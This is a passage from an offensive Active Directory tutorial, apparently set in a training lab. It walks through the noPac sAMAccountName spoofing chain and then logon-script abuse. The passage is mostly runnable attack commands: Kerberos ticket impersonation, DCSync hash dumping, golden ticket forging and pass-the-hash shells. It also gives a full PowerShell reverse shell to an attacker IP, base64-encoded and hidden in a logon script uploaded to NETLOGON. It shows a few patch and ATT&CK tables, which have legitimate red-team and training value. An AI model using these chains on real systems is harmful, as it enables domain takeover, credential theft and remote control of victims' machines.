This is the crucial step that enables CVE-2021-42287 to trigger. By renaming the account away from DC01, we create a situation where the TGT refers to DC01 but no account with that name exists.

1
2
3
4
5
renameMachine.py \
  -current-name 'DC01' \
  -new-name 'ControlledComputer$' \
  -dc-ip '10.10.10.10' \
  'domain.local'/'lowprivuser':'UserPassword123'

Step 5 — Request a Service Ticket via S4U2Self

Using the TGT for DC01 (which no longer exists), request a service ticket for CIFS on the actual Domain Controller, impersonating the Administrator. The KDC will search for DC01, fail, append $, find DC01$ (the real DC), and issue the ticket.

1
2
3
4
5
6
7
8
9
10
11
KRB5CCNAME='DC01.ccache' getST.py \
  -self \
  -impersonate 'Administrator' \
  -altservice 'cifs/DC01.domain.local' \
  -k \
  -no-pass \
  -dc-ip '10.10.10.10' \
  'domain.local'/'DC01'

# Output: Administrator.ccache
ls -la Administrator.ccache

If you want LDAP access instead of CIFS (for secretsdump/DCSync), use -altservice 'ldap/DC01.domain.local'

Step 6 — DCSync / Dump Hashes

With the service ticket for Administrator, perform a DCSync to dump all domain hashes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# DCSync for krbtgt (for golden ticket persistence)
KRB5CCNAME='Administrator.ccache' secretsdump.py \
  -just-dc-user 'krbtgt' \
  -k \
  -no-pass \
  -dc-ip '10.10.10.10' \
  @'DC01.domain.local'

# DCSync for all users
KRB5CCNAME='Administrator.ccache' secretsdump.py \
  -just-dc \
  -k \
  -no-pass \
  -dc-ip '10.10.10.10' \
  @'DC01.domain.local'

# Get a shell on the DC (psexec with ccache)
KRB5CCNAME='Administrator.ccache' psexec.py \
  -k \
  -no-pass \
  'domain.local/Administrator@DC01.domain.local'

Exploitation — Automated (noPac)

For a one-command exploitation approach, cube0x0’s noPac tool automates the entire chain.

Install noPac (Linux)

1
2
3
git clone https://github.com/Ridter/noPac
cd noPac
pip3 install -r requirements.txt

There are two notable noPac implementations: cube0x0/noPac (C#) and Ridter/noPac (Python). Both work reliably.

Scan (Check Vulnerability)

1
2
3
4
# Python version
python3 scanner.py domain.local/lowprivuser:Password123 -dc-ip 10.10.10.10

# If the DC returns a TGT without PAC (smaller ticket), it's vulnerable

Full Exploit (Dump & Shell)

1
2
3
4
5
6
7
8
9
10
11
# Dump hashes
python3 noPac.py domain.local/lowprivuser:Password123 \
  -dc-ip 10.10.10.10 \
  --impersonate Administrator \
  -dump

# Semi-interactive shell on DC
python3 noPac.py domain.local/lowprivuser:Password123 \
  -dc-ip 10.10.10.10 \
  --impersonate Administrator \
  -shell

Exploitation — Windows (Rubeus + PowerView + Powermad)

This section covers exploitation from a Windows machine using pure PowerShell / C# tooling.

Required Tools

ToolSourcePurpose
PowermadGitHubCreate machine accounts, modify attributes
PowerViewGitHubAD enumeration, clear SPNs
RubeusGitHubKerberos ticket manipulation
MimikatzGitHubDCSync / credential dumping

Full PowerShell Attack Chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#region --- Setup ---
klist purge  # Clear existing cached tickets

# Import modules
Import-Module "$env:USERPROFILE\Downloads\Powermad\Powermad.ps1"
Import-Module "$env:USERPROFILE\Downloads\PowerSploit\Recon\PowerView.ps1"

# If running from an unauthenticated context, set up credentials
$Password = ConvertTo-SecureString 'UserPassword123' -AsPlainText -Force
[pscredential]$Creds = New-Object System.Management.Automation.PSCredential ("DOMAIN\lowprivuser", $Password)
#endregion

#region --- Step 0: Create Computer Account ---
Write-Host "[*] Creating new computer account..."
$CompPass = ConvertTo-SecureString 'ComputerPassword123!' -AsPlainText -Force

New-MachineAccount `
  -MachineAccount "ControlledComputer" `
  -Password $CompPass `
  -Domain "domain.local" `
  -DomainController "DC01.domain.local" `
  -Credential $Creds `
  -Verbose
#endregion

#region --- Step 1: Clear SPNs ---
Write-Host "[*] Clearing SPNs from computer account..."

Set-DomainObject `
  -Identity "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" `
  -Clear 'serviceprincipalname' `
  -Server "DC01.domain.local" `
  -Credential $Creds `
  -Domain "domain.local" `
  -Verbose
#endregion

#region --- Step 2: Rename sAMAccountName to DC ---
Write-Host "[*] Renaming sAMAccountName to DC01 (CVE-2021-42278)..."

Set-MachineAccountAttribute `
  -MachineAccount "ControlledComputer" `
  -Value "DC01" `
  -Attribute samaccountname `
  -Credential $Creds `
  -Domain "domain.local" `
  -DomainController "DC01.domain.local" `
  -Verbose
#endregion

#region --- Step 3: Get TGT ---
Write-Host "[*] Requesting TGT for spoofed account DC01..."

.\Rubeus.exe asktgt `
  /user:"DC01" `
  /password:"ComputerPassword123!" `
  /domain:"domain.local" `
  /dc:"DC01.domain.local" `
  /outfile:kerberos.tgt.kirbi
#endregion

#region --- Step 4: Reset sAMAccountName ---
Write-Host "[*] Resetting sAMAccountName back (CVE-2021-42287 prep)..."

Set-MachineAccountAttribute `
  -MachineAccount "ControlledComputer" `
  -Value "ControlledComputer$" `
  -Attribute samaccountname `
  -Credential $Creds `
  -Domain "domain.local" `
  -DomainController "DC01.domain.local" `
  -Verbose
#endregion

#region --- Step 5: S4U2Self — Get CIFS ticket as Administrator ---
Write-Host "[*] Requesting service ticket (S4U2Self) impersonating Administrator..."

.\Rubeus.exe s4u `
  /self `
  /impersonateuser:"Administrator" `
  /altservice:"cifs/DC01.domain.local" `
  /dc:"DC01.domain.local" `
  /ptt `
  /ticket:kerberos.tgt.kirbi
#endregion

#region --- Step 6a: Verify access ---
Write-Host "[*] Verifying access to DC admin share..."
Get-ChildItem \\DC01.domain.local\c$
#endregion

#region --- Step 6b: DCSync via LDAP ticket ---
Write-Host "[*] Getting LDAP ticket for DCSync..."

.\Rubeus.exe s4u `
  /self `
  /impersonateuser:"Administrator" `
  /altservice:"ldap/DC01.domain.local" `
  /dc:"DC01.domain.local" `
  /ptt `
  /ticket:kerberos.tgt.kirbi

Write-Host "[*] Running DCSync for krbtgt via Mimikatz..."

.\mimikatz.exe `
  "kerberos::list" `
  "lsadump::dcsync /domain:domain.local /kdc:DC01.domain.local /user:krbtgt" `
  exit
#endregion

Exploitation — C# noPAC (Windows)

For a fully automated Windows attack, use the C# noPAC tool compiled from cube0x0/noPac:

1
2
3
4
5
6
7
8
9
# Scan for vulnerability
noPAC.exe scan -domain domain.local -user lowprivuser -pass Password123

# Full exploit — dump hashes
noPAC.exe -domain domain.local -user lowprivuser -pass Password123 /dc DC01.domain.local /mAccount ControlledComputer /mPassword CompPassword123 /service cifs /ptt

# Via PowerShell wrapper (Invoke-noPAC)
Import-Module .\Invoke-noPAC.ps1
Invoke-noPAC -command "scan -domain domain.local -user lowprivuser -pass Password123"

Post-Exploitation

Once you have Domain Admin access or domain hashes, the following post-exploitation options are available:

Golden Ticket (Persistence)

With the krbtgt hash from DCSync, you can forge Golden Tickets for long-term persistence — valid for 10 years by default:

Linux:

1
2
3
4
5
6
7
8
9
10
11
12
# Using lookupsid to get domain SID
lookupsid.py domain.local/lowprivuser:Password123@DC01.domain.local

# Forge golden ticket
ticketer.py \
  -nthash <KRBTGT_NTLM_HASH> \
  -domain-sid <DOMAIN_SID> \
  -domain domain.local \
  Administrator

# Use it
KRB5CCNAME=Administrator.ccache python3 psexec.py -k -no-pass domain.local/Administrator@DC01.domain.local

Windows (Mimikatz):

1
2
# Create golden ticket and inject into current session
kerberos::golden /user:Administrator /domain:domain.local /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_HASH> /ptt

Pass-the-Hash / PTH

With any dumped NTLM hash:

1
2
3
4
5
# Remote shell via PtH
psexec.py -hashes :<NTLM_HASH> domain.local/Administrator@DC01.domain.local

# WMI execution
wmiexec.py -hashes :<NTLM_HASH> domain.local/Administrator@DC01.domain.local

Dump All Domain Credentials

1
2
3
4
5
6
KRB5CCNAME='Administrator.ccache' secretsdump.py \
  -just-dc \
  -k \
  -no-pass \
  @'DC01.domain.local' \
  -outputfile domain_hashes

MITRE ATT&CK Mapping

TacticTechniqueSub-TechniqueID
Privilege EscalationExploitation for Privilege EscalationT1068
Privilege EscalationValid AccountsDomain AccountsT1078.002
Credential AccessOS Credential DumpingDCSyncT1003.006
Defense EvasionValid AccountsT1078
PersistenceAccount ManipulationT1098

Vulnerable Versions

The following Windows Server versions are affected if not patched with November 2021 updates:

OS VersionVulnerableFixed By
Windows Server 2022YesKB5007205 / Nov 2021 CU
Windows Server 2019YesKB5007206 / Nov 2021 CU
Windows Server 2016YesKB5007192 / Nov 2021 CU
Windows Server 2012 R2YesKB5007247 / Nov 2021 CU
Windows Server 2012YesKB5007246 / Nov 2021 CU
Windows Server 2008 R2YesKB5007233 / Nov 2021 CU

Tool Reference

ToolPlatformGitHubPurpose
Impacket suiteLinuxSecureAuthCorp/impacketaddcomputer, getTGT, getST, secretsdump
krbrelayxLinuxdirkjanm/krbrelayxaddspn.py
noPac (Python)LinuxRidter/noPacAutomated Python exploit
noPac (C#)Windowscube0x0/noPacAutomated C# exploit
RubeusWindowsGhostPack/RubeusKerberos ticket manipulation
PowermadWindowsKevin-Robertson/PowermadMachine account creation/attribute edit
PowerViewWindowsPowerShellMafia/PowerSploitAD enumeration, SPN clearing
MimikatzWindowsgentilkiwi/mimikatzDCSync, credential dumping
netexecLinuxPennyw0rth/NetExecScanning, initial recon

Summary

The noPac / sAMAccountName Spoofing attack chain is one of the most impactful Active Directory privilege escalation techniques ever discovered. It is:

  • Trivially easy: Exploitable by any authenticated domain user with 6 commands
  • High impact: Goes from low-priv user to Domain Admin in under 2 minutes
  • Hard to detect without proper logging: No outbound traffic anomalies in older setups
  • Fully patched if KB5008102 + KB5008380 are applied and PacRequestorEnforcement = 2

4. Abusing Logon Scripts

In Active Directory environments, logon scripts are a feature administrators rely on to automate user tasks at domain login — mapping drives, configuring environments, auditing systems, and running maintenance commands. Behind the scenes, they are among the most consistently misconfigured and most under-monitored attack surfaces in any mature domain.

According to Spencer Alessi (author of ScriptSentry), logon script misconfigurations appear in 30–40% of red team engagements. This guide is a complete deep dive into every offensive dimension of logon script abuse — from understanding the attribute mechanics to chaining it into full domain compromise.


MITRE ATT&CK Mapping

TechniqueIDTactic
Boot or Logon Initialization ScriptsT1037Persistence, Privilege Escalation
Network Logon ScriptT1037.003Persistence, Privilege Escalation
Domain Policy Modification (GPO)T1484.001Defense Evasion, Privilege Escalation
Account ManipulationT1098Persistence
Lateral Movement via LogonT1021Lateral Movement

Background: How Logon Scripts Work

In Active Directory, system administrators use logon scripts to automate tasks when users log into the domain: mapping/unmapping network drives, auditing, gathering information, and environment customisation.

There are two methods for assigning a logon script to a user:

  1. Via the scriptPath attribute — Set through the Logon script field in the Profile tab of ADUC (Active Directory Users and Computers). Internally updates the scriptPath attribute on the user object. These are called Legacy logon scripts.

  2. Via Group Policy — Set through User Configuration → Windows Settings → Scripts (Logon/Logoff) → Logon. These are called Modern logon scripts and additionally support PowerShell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Attack Surface Overview
═══════════════════════════════════════════════════════════════════
  Domain Controller
  ┌─────────────────────────────────────────────────────────────┐
  │                                                             │
  │   AD Object: CN=eliot,CN=Users,DC=inlanefreight,DC=local    │
  │   Attribute: scriptPath = "EliotsScripts\logon.bat"         │
  │                                                             │
  │   \\DC01\NETLOGON\EliotsScripts\logon.bat   ◄──── [RWX]     │
  │          │                                       hossam     │
  │          │ executes on login                               │
  │          ▼                                                  │
  │   Workstation (eliot logs in)                               │
  │   → powershell -enc <PAYLOAD>                               │
  └─────────────────────────────────────────────────────────────┘

The scriptPath Attribute

Defined in MS-ADA3, the scriptPath attribute (part of the User-Logon property set) specifies the path for a user’s logon script.

scriptPath supports:

  • Batch files (*.bat, *.cmd)
  • Executable programs (*.exe)
  • VBScript and JScript via Windows Script Host
  • KiXtart scripts

Important: scriptPath does not support PowerShell directly — but you can invoke PowerShell from within .bat or .vbs files.

For replication across all domain controllers, Windows stores logon scripts in the SYSVOL network share:

1
2
3
Physical path:  %systemroot%\SYSVOL\sysvol\<DOMAIN_DNS_NAME>\scripts\
Network share:  \\<DC>\NETLOGON\
Environment:    $env:LOGONSERVER\NETLOGON\

Legacy logon scripts set via scriptPath must reside inside NETLOGON. They cannot point to any other share — local or remote.


Attack Vectors at a Glance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌─────────────────────────────────────────────────────────────────────┐
│              LOGON SCRIPT ABUSE — ATTACK DECISION TREE              │
├─────────────────────────────────────────────────────────────────────┤
│                                                                     │
│  Do you have WriteProperty on target user's scriptPath?             │
│  ├─ YES ──► Can you write anywhere in NETLOGON?                     │
│  │          ├─ YES ──► [SCENARIO A] Drop payload → update scriptPath│
│  │          └─ NO  ──► [SCENARIO B] Use existing scriptPath stub    │
│  │                      → find writable file scriptPath points to   │
│  └─ NO  ──► Do you have WriteProperty/WriteDACL on a GPO?           │
│             ├─ YES ──► [SCENARIO C] Modify GPO logon script         │
│             └─ NO  ──► Can you write to SYSVOL/NETLOGON directly?   │
│                        ├─ YES ──► [SCENARIO D] Replace script file  │
│                        └─ NO  ──► Enumerate for credentials in      │
│                                   existing logon scripts            │
└─────────────────────────────────────────────────────────────────────┘

Scenario Setup

Our client inlanefreight has provided us the username hossam and password HossamR3dT3am! to determine what DACL attacks the user can perform against the user eliot.

RoleUsernamePasswordNotes
AttackerhossamHossamR3dT3am!Domain user with write rights over eliot
Victimeliot(unknown)Target — logs on periodically
Domaininlanefreight.local 
DC IP10.129.229.224 
Attacker IP10.10.14.55Kali / Pwnbox

Enumeration from Linux

PywerView

PywerView is a partial Python port of PowerSploit’s PowerView, letting us use all the powerful Cmdlets from Linux.

Installation
1
2
3
root@root$ sudo apt install libkrb5-dev -y
git clone https://github.com/the-useless-one/pywerview.git
cd pywerview/ && pip3 install -r requirements.txt
Getting ACEs of Hossam over Eliot
1
2
3
4
5
6
7
root@root$ python3 pywerview get-objectacl --name 'eliot' \
    -w inlanefreight.local \
    -t 10.129.229.224 \
    -u 'hossam' \
    -p 'HossamR3dT3am!' \
    --resolve-sids \
    --resolve-guids
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
objectdn:               CN=eliot,CN=Users,DC=inlanefreight,DC=local
objectsid:              S-1-5-21-3456308105-2521031762-2678499478-2104
acetype:                ACCESS_DENIED_OBJECT_ACE
binarysize:             40
aceflags:               
accessmask:             256
activedirectoryrights:  extended_right
isinherited:            False
securityidentifier:     Everyone
objectaceflags:         object_ace_type_present
objectacetype:          User-Change-Password
inheritedobjectacetype: All
iscallbak:              False

<SNIP>

To filter only ACEs that hossam has over eliot:

1
2
3
4
5
6
7
8
root@root$ python3 pywerview get-objectacl --name 'eliot' \
    -w inlanefreight.local \
    -t 10.129.229.224 \
    -u 'hossam' \
    -p 'HossamR3dT3am!' \
    --resolve-sids \
    --resolve-guids \
    --json | jq '.results | map(select(.securityidentifier | contains("hossam")))'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[
  {
    "objectdn": "CN=eliot,CN=Users,DC=inlanefreight,DC=local",
    "objectsid": "S-1-5-21-3456308105-2521031762-2678499478-2104",
    "acetype": "ACCESS_ALLOWED_OBJECT_ACE",
    "binarysize": 56,
    "aceflags": [
      "container_inherit"
    ],
    "accessmask": 48,
    "activedirectoryrights": [
      "read_property",
      "write_property"
    ],
    "isinherited": false,
    "securityidentifier": "CN=hossam,CN=Users,DC=inlanefreight,DC=local",
    "objectaceflags": [
      "object_ace_type_present"
    ],
    "objectacetype": "Script-Path",
    "inheritedobjectacetype": "All",
    "iscallbak": false
  }
]

Result: hossam has read_property and write_property on eliot’s Script-Path → full read/write on scriptPath.


dacledit (Impacket)

1
2
3
4
5
root@root$ python3 examples/dacledit.py \
    -principal 'hossam' \
    -target 'eliot' \
    -dc-ip 10.129.229.224 \
    inlanefreight.local/'hossam':'HossamR3dT3am!'
1
2
3
4
5
6
7
8
9
10
11
12
Impacket v0.9.25.dev1+20230823.145202.4518279 - Copyright 2021 SecureAuth Corporation

[*] Parsing DACL
[*] Printing parsed DACL
[*] Filtering results for SID (S-1-5-21-3456308105-2521031762-2678499478-1108)
[*]   ACE[7] info
[*]     ACE Type                  : ACCESS_ALLOWED_OBJECT_ACE
[*]     ACE flags                 : None
[*]     Access mask               : ReadProperty, WriteProperty
[*]     Flags                     : ACE_OBJECT_TYPE_PRESENT
[*]     Object type (GUID)        : Script-Path (bf9679a8-0de6-11d0-a285-00aa003049e2)
[*]     Trustee (SID)             : Hossam (S-1-5-21-3456308105-2521031762-2678499478-1108)

Result: hossam has ReadProperty and WriteProperty over GUID bf9679a8-0de6-11d0-a285-00aa003049e2 → this is the scriptPath attribute.


Adalanche (Graph-Based Enumeration)

Adalanche is a BloodHound-like graph tool that detects over 90 edge types including WriteScriptPath — which BloodHound CE does not display.

Installation
1
2
3
4
5
6
7
8
9
10
11
root@root$ sudo wget -P /usr/bin/ https://go.dev/dl/go1.22.1.linux-amd64.tar.gz
sudo rm -rf /usr/bin/go && cd /usr/bin/ && sudo tar -xzf go1.22.1.linux-amd64.tar.gz

root@root$ export PATH=$PATH:/usr/bin/go/bin
go version
# go version go1.22.1 linux/amd64

root@root$ git clone https://github.com/lkarlslund/Adalanche Adalanche
cd Adalanche
git checkout 7774681
pwsh build.ps1
Data Collection
1
2
3
4
5
root@root$ ./adalanche-linux-x64-v2024.1.11-43-g7774681 collect activedirectory \
    --domain inlanefreight.local \
    --server 10.129.229.224 \
    --username 'hossam' \
    --password 'HossamR3dT3am!'
Data Analysis
1
root@root$ ./adalanche-linux-x64-v2024.1.11-44-gf1573f2 analyze --datapath data

In the Adalanche UI:

  1. Use LDAP query (objectClass=user) to load domain users
  2. Right-click on the hossam node → “What can this node pwn?”
  3. Observe the WriteScriptPath edge pointing from hossam to eliot
1
2
3
4
5
6
7
8
Adalanche Graph — WriteScriptPath Edge
═════════════════════════════════════════════════════════════

   [hossam]  ──── WriteScriptPath ────►  [eliot]
       │                                     │
  Attacker                              Victim user
  (has write                          (scriptPath will
   on scriptPath)                      be updated)

img-description


Enumeration from Windows

PowerView

1
2
3
PS C:\Users\Hossam\Downloads> Import-Module .\PowerView.ps1
PS C:\Users\Hossam\Downloads> $HossamSID = (Get-DomainUser -Identity hossam).objectSID
PS C:\Users\Hossam\Downloads> Get-DomainObjectAcl -Identity eliot -ResolveGUIDs | ?{$_.SecurityIdentifier -eq $HossamSID}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
AceQualifier           : AccessAllowed
ObjectDN               : CN=eliot,CN=Users,DC=inlanefreight,DC=local
ActiveDirectoryRights  : ReadProperty, WriteProperty
ObjectAceType          : Script-Path
ObjectSID              : S-1-5-21-3456308105-2521031762-2678499478-2104
InheritanceFlags       : ContainerInherit
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : ObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-3456308105-2521031762-2678499478-2103
AccessMask             : 48
AuditFlags             : None
IsInherited            : False
AceFlags               : ContainerInherit
InheritedObjectAceType : All
OpaqueLength           : 0

ActiveDirectoryRights: ReadProperty, WriteProperty on ObjectAceType: Script-Path — confirmed.


Scenario A — Write scriptPath from Linux (Classic)

Condition: hossam has WriteProperty on eliot’s scriptPath AND has RWX somewhere in NETLOGON.

Full Attack Flow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
  ┌──────────────────────────────────────────────────────────────────┐
  │                  SCENARIO A — ATTACK FLOW                        │
  ├──────────────────────────────────────────────────────────────────┤
  │                                                                  │
  │  1. Enumerate NETLOGON for writable folders                      │
  │        ↓                                                         │
  │  2. Create malicious .bat payload with PowerShell reverse shell  │
  │        ↓                                                         │
  │  3. Upload payload to writable NETLOGON folder via smbclient    │
  │        ↓                                                         │
  │  4. Update eliot's scriptPath → point to payload                 │
  │        ↓                                                         │
  │  5. Start nc listener                                            │
  │        ↓                                                         │
  │  6. Wait for eliot to log on → catch reverse shell              │
  │        ↓                                                         │
  │  7. Domain compromise via eliot's session                        │
  └──────────────────────────────────────────────────────────────────┘

Step 1 — Enumerate NETLOGON

1
root@root$ smbclient //10.129.229.224/NETLOGON -U hossam%'HossamR3dT3am!' -c "ls"
1
2
3
4
5
6
7
  .                                   D        0  Mon May  6 04:03:40 2024
  ..                                  D        0  Mon May  6 04:03:40 2024
  CC1FDFA0FF3A                        D        0  Mon May  6 04:05:41 2024
  CCEDF2EBD2F1                        D        0  Thu May  2 15:36:45 2024
  DEFB03023DDA                        D        0  Mon May  6 04:10:40 2024
  EliotsScripts                       D        0  Fri May  3 09:34:55 2024
  <SNIP>

Check permissions on EliotsScripts:

1
root@root$ smbcacls //10.129.229.224/NETLOGON /EliotsScripts -U Hossam%'HossamR3dT3am!'
1
2
3
4
5
6
7
8
9
REVISION:1
CONTROL:SR|DI|DP
OWNER:BUILTIN\Administrators
GROUP:INLANEFREIGHT\Domain Users
ACL:INLANEFREIGHT\hossam:ALLOWED/OI|CI/RWX
ACL:BUILTIN\Administrators:ALLOWED/I/FULL
ACL:CREATOR OWNER:ALLOWED/OI|CI|IO|I/FULL
ACL:NT AUTHORITY\Authenticated Users:ALLOWED/OI|CI|I/READ
ACL:NT AUTHORITY\SYSTEM:ALLOWED/OI|CI|I/FULL

hossam has R, W, X → we can write our payload here.

Step 2 — Create the Payload

Generate a PowerShell reverse shell (using PowerShell #1 from revshells.com):

1
$LHOST = "10.10.14.55"; $LPORT = 9001; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()

Base64-encode it to avoid escaping issues in a .bat file:

1
root@root$ python3 -c 'import base64; print(base64.b64encode((r"""$LHOST = "10.10.14.55"; $LPORT = 9001; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()""").encode("utf-16-le")).decode())'

img-description

Create logonScript.bat:

1
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABMAEgATwBTAFQAIAA9ACAAIgAxADAALgAxADAALgAxADQALgA1ADUAIgA7ACAAJABMAFAATwBSAFQAIAA9ACAAOQA...<SNIP>

Alternatively, a .vbs version (more evasive — no visible console window):

CreateObject("Wscript.shell").Run "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABMAEgATwBTAFQAIAA9ACAAIgAxADAALgAxADAALgAxADQALgA1ADUAIgA7AC...<SNIP>"

Step 3 — Upload Payload to NETLOGON

1
2
3
root@root$ smbclient //10.129.229.224/NETLOGON --directory EliotsScripts \
    -U Hossam%'HossamR3dT3am!' \
    -c "put logonScript.bat"
1
putting file logonScript.bat as \EliotsScripts\logonScript.bat (1070.3 kb/s) (average 1070.3 kb/s)

Step 4 — Update eliot’s scriptPath

Method 1: ldapmodify

Create logonScript.ldif:

dn: CN=eliot,CN=Users,DC=inlanefreight,DC=local
changetype: modify
replace: scriptPath
scriptPath: EliotsScripts\logonScript.bat

Apply it:

1
2
3
4
5
root@root$ ldapmodify -H ldap://10.129.229.224 \
    -x \
    -D 'hossam@inlanefreight.local' \
    -w 'HossamR3dT3am!' \
    -f logonScript.ldif
1
modifying entry "CN=eliot,CN=Users,DC=inlanefreight,DC=local"

Verify:

1
2
3
4
5
6
root@root$ ldapsearch -LLL -H ldap://10.129.229.224 \
    -x \
    -D 'hossam@inlanefreight.local' \
    -w 'HossamR3dT3am!' \
    -b "DC=inlanefreight,DC=local" \
    "(sAMAccountName=eliot)" scriptPath
1
2
dn: CN=eliot,CN=Users,DC=inlanefreight,DC=local
scriptPath: EliotsScripts\logonScript.bat
Method 2: bloodyAD
1
2
3
4
5
6
7
8
root@root$ pip install bloodyAD

root@root$ bloodyAD --host "10.129.229.224" \
    -d "inlanefreight.local" \
    -u "hossam" \
    -p 'HossamR3dT3am!' \
    set object eliot scriptPath \
    -v 'EliotsScripts\logonScript.bat'
1
2
['EliotsScripts\\logonScript.bat']
[+] eliot's scriptPath has been updated

Verify:

1
2
3
4
5
root@root$ bloodyAD --host "10.129.229.224" \
    -d "inlanefreight.local" \
    -u "hossam" \
    -p 'HossamR3dT3am!' \
    get object eliot --attr scriptPath
1
2
distinguishedName: CN=eliot,CN=Users,DC=inlanefreight,DC=local
scriptPath: EliotsScripts\logonScript.bat

Step 5 — Wait for Shell

1
2
3
4
5
6
root@root$ nc -nvlp 9001

listening on [any] 9001 ...
connect to [10.10.14.55] from (UNKNOWN) [10.129.229.224] 49732
whoami
inlanefreight\eliot

We now have a shell as eliot.


Scenario A (Windows) — Write scriptPath from Windows

Step 1 — Enumerate NETLOGON from PowerShell

1
PS C:\Users\hossam> ls $env:LOGONSERVER\NETLOGON
1
2
3
4
5
6
7
    Directory: \\DC03\NETLOGON

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         5/2/2024  12:21 PM                EF0ACCC0DBED
d-----         5/3/2024   6:34 AM                EliotsScripts
<SNIP>
1
PS C:\Users\hossam> icacls $env:LOGONSERVER\NETLOGON\EliotsScripts
1
2
3
4
5
6
7
\\DC03\NETLOGON\EliotsScripts INLANEFREIGHT\hossam:(OI)(CI)(RX,W)
                              NT AUTHORITY\Authenticated Users:(I)(RX)
                              BUILTIN\Administrators:(I)(F)
                              NT AUTHORITY\SYSTEM:(I)(F)
                              CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

hossam has R, W, X.

Step 3 — Update eliot’s scriptPath via PowerView

1
2
PS C:\Users\Hossam> Import-Module .\PowerView.ps1
PS C:\Users\Hossam> Set-DomainObject eliot -Set @{'scriptPath'='EliotsScripts\logonScript.bat'}

Verify:

1
2
3
4
5
PS C:\Users\Hossam> Get-DomainObject eliot -Properties scriptPath

scriptpath
----------
EliotsScripts\logonScript.bat

Scenario B — Stub Script Hijacking

Condition: hossam has ReadProperty on eliot’s scriptPath, but no write anywhere in NETLOGON. However, scriptPath points to a file on a different share where hossam has write permissions.

This is the “stub script” pattern — an admin creates a tiny launcher in NETLOGON that calls the real script from another share.

1
2
3
4
  NETLOGON\scripts\eliot_stub.bat
  ─────────────────────────────────────────────
  @echo off
  call \\fileserver\Share\IT\eliot_real.bat

If hossam has write on \\fileserver\Share\IT\, they can modify eliot_real.bat directly — no need to touch scriptPath or NETLOGON at all.

Enumerate the stub

1
2
3
4
5
6
7
root@root$ python3 pywerview get-objectacl --name 'eliot' \
    -w inlanefreight.local \
    -t 10.129.229.224 \
    -u 'hossam' \
    -p 'HossamR3dT3am!' \
    --resolve-sids --resolve-guids --json | \
    jq '.results | map(select(.objectacetype == "Script-Path"))'

Read the current scriptPath value:

1
2
3
4
5
root@root$ ldapsearch -LLL -H ldap://10.129.229.224 \
    -x -D 'hossam@inlanefreight.local' \
    -w 'HossamR3dT3am!' \
    -b "DC=inlanefreight,DC=local" \
    "(sAMAccountName=eliot)" scriptPath
1
2
dn: CN=eliot,CN=Users,DC=inlanefreight,DC=local
scriptPath: scripts\eliot_stub.bat

Read the stub file to find the real script path:

1
2
3
4
5
6
root@root$ smbclient //10.129.229.224/NETLOGON -U Hossam%'HossamR3dT3am!' \
    -c "get scripts\eliot_stub.bat /tmp/eliot_stub.bat"

root@root$ cat /tmp/eliot_stub.bat
@echo off
call \\fileserver\Share\IT\eliot_real.bat

Check permissions on the real script:

1
root@root$ smbcacls //fileserver/Share /IT/eliot_real.bat -U Hossam%'HossamR3dT3am!'

If write is available — inject the payload directly into eliot_real.bat.


Scenario C — GPO Logon Script Persistence

Condition: hossam has WriteDACL or GenericWrite on a GPO linked to an OU containing eliot.

GPO-based logon scripts support PowerShell (unlike scriptPath), making them more powerful and stealthier.

Enumerate GPO Write Rights (Linux)

1
2
3
4
5
root@root$ python3 examples/GetGPOUsers.py \
    -u hossam \
    -p 'HossamR3dT3am!' \
    -d inlanefreight.local \
    -dc-ip 10.129.229.224

Or with BloodHound CE — look for:

  • GenericWrite → GPO node
  • WriteDACL → GPO node
  • GenericAll → GPO node

Enumerate GPO Write Rights (Windows)

1
2
3
4
5
6
7
8
9
# Find GPOs hossam can write to
